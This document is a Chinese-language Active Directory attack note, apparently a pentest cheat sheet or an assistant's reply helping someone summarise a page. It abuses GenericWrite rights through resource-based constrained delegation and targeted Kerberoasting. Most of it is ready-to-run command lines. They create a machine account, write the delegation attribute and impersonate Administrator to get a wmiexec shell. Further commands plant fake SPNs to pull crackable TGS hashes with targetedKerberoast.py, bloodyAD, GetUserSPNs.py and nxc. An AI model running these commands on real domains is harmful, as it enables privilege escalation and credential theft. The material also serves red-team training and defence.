1 | 创建或控制一个机器账号→ 修改目标机器的 RBCD 属性→ 让受控机器账号代表高权限用户请求访问目标机器服务→ 使用票据访问目标机器 |
示例流程:
1. 创建一个受控机器账号
1 | addcomputer.py "$DOMAIN/$USER:$PASSWORD" -computer-name "ATTACKER$" -computer-pass "Passw0rd123!" -dc-ip "$DC_IP" |
2. 配置目标机器的 RBCD
1 | rbcd.py -action write -delegate-from "ATTACKER$" -delegate-to "$TARGET$" "$DOMAIN/$USER:$PASSWORD" -dc-ip "$DC_IP" |
3. 申请可用于目标机器服务的票据
1 | getST.py -spn "cifs/$TARGET_FQDN" -impersonate "Administrator" "$DOMAIN/ATTACKER$:Passw0rd123!" -dc-ip "$DC_IP" |
4. 使用 Kerberos 票据访问目标
1 | KRB5CCNAME=Administrator.ccache wmiexec.py -k -no-pass "$DOMAIN/Administrator@$TARGET_FQDN" |
前提是你 impersonate 的用户,比如 Administrator,需要对目标机器有对应权限,否则即使拿到票据也不一定能执行命令。
你这页可以这样总结:
1 | 目标为机器用户时,GenericWrite 常见利用方式:1. Shadow Credentials - 写入 msDS-KeyCredentialLink - 获取目标机器账号身份 - 常用 certipy shadow auto2. RBCD - 写入 msDS-AllowedToActOnBehalfOfOtherIdentity - 让受控机器账号代表高权限用户访问目标机器 - 常用 addcomputer.py、rbcd.py、getST.py3. 不推荐 Kerberoasting - 机器账号通常已有 SPN - 但机器账号密码默认很长且随机 - TGS hash 通常很难爆破 |
一句话版:
目标是用户时,可以考虑 Targeted Kerberoasting;目标是机器账号时,优先考虑 Shadow Credentials 或 RBCD,Kerberoasting 通常收益很低。
目标为用户
前提: 当前用户对目标用户有
GenericWrite、GenericAll、WriteProperty、Validated-SPN或 BloodHound 里的WriteSPN权限,可以写目标用户的servicePrincipalName属性。写入 SPN 后,该用户就可以被 Kerberoast。
原理:
给原本没有 SPN 的目标用户临时添加一个假的 SPN,例如:
1 | http/anything |
然后请求该 SPN 对应的 TGS,拿到可离线破解的 Kerberoast hash,最后清理刚才添加的 SPN。
方法一:targetedKerberoast.py 自动完成
targetedKerberoast.py 的特点是:如果用户没有 SPN,它会尝试临时写入 servicePrincipalName,打印 Kerberoast hash,然后删除临时 SPN。
1 | targetedKerberoast.py -v -d "$DOMAIN" -u "$USER" -p "$PASSWORD" --dc-ip "$DC_IP" --request-user "$TARGET" -o kerberoastables.txt |
如果你只想打“需要临时加 SPN 的目标”,可以加:
1 | --only-abuse |
相关参数里,--request-user 是指定目标用户,-o/--output-file 是输出 hash,默认格式适合 hashcat;工具也支持明文密码、Pass-the-Hash、Kerberos、AES key 等认证方式。
方法二:bloodyAD 手动添加 SPN + GetUserSPNs 请求 hash
1. 先查看目标用户原本有没有 SPN
1 | bloodyAD -d "$DOMAIN" --host "$DC_HOST" -u "$USER" -p "$PASSWORD" get object "$TARGET" --attr servicePrincipalName |
2. 添加伪造 SPN
1 | bloodyAD -d "$DOMAIN" --host "$DC_HOST" -u "$USER" -p "$PASSWORD" set object "$TARGET" servicePrincipalName -v "http/anything" |
bloodyAD set object 的作用是添加、替换或删除目标对象属性,-v 用来指定写入的值;如果不带 -v,会删除该属性,所以清理时要小心。
3. 请求目标用户的 TGS hash
这里不是用 -target-user,而是 Impacket 的:
1 | GetUserSPNs.py "$DOMAIN/$USER:$PASSWORD" -dc-ip "$DC_IP" -request -request-user "$TARGET" -outputfile kerberoastables.txt |
GetUserSPNs.py 的 -request 会请求 TGS 并输出 JtR/hashcat 格式,-request-user 用来指定要请求的用户名,-outputfile 用来保存 hash。(知识库)
4. 清理伪造 SPN
如果目标用户原来没有 SPN,可以清空:
1 | bloodyAD -d "$DOMAIN" --host "$DC_HOST" -u "$USER" -p "$PASSWORD" set object "$TARGET" servicePrincipalName |
注意: 如果目标用户原本就有 SPN,不要直接清空。先记录原值,最后恢复原值,否则可能影响业务账号。
方法三:NetExec / nxc 一行完成
1 | nxc ldap "$DC_HOST" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" --kerberoasting kerberoastables.txt --targeted-kerberoast "$TARGET" |
这个是把 targeted kerberoast 和 hash 输出合在一起。

